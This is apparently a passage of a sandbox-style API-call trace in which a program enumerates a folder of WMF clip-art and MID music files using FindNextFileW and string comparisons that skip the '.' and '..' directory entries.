	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.312] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.312] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1
	[0095.313] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.313] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.313] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1
	[0095.313] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.313] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.313] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1
	[0095.313] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.313] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.313] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1
	[0095.313] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.313] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.313] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1
	[0095.313] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.313] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.313] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1
	[0095.313] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.313] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.314] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1
	[0095.314] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.314] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.315] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.315] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.315] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.315] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.315] wcsncmp (_String1="FI", _String2="..", _MaxCount=0x2) returned 24
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.315] wcsncmp (_String1="FI", _String2="..", _MaxCount=0x2) returned 24
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.315] wcsncmp (_String1="FL", _String2="..", _MaxCount=0x2) returned 24
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="G", _String2=".", _MaxCount=0x1) returned 25
	[0095.315] wcsncmp (_String1="GR", _String2="..", _MaxCount=0x2) returned 25
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="G", _String2=".", _MaxCount=0x1) returned 25
	[0095.315] wcsncmp (_String1="GR", _String2="..", _MaxCount=0x2) returned 25
	[0095.315] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1
	[0095.315] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.315] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1
	[0095.316] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.316] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1
	[0095.316] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.316] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1
	[0095.316] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.316] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1
	[0095.316] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.316] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
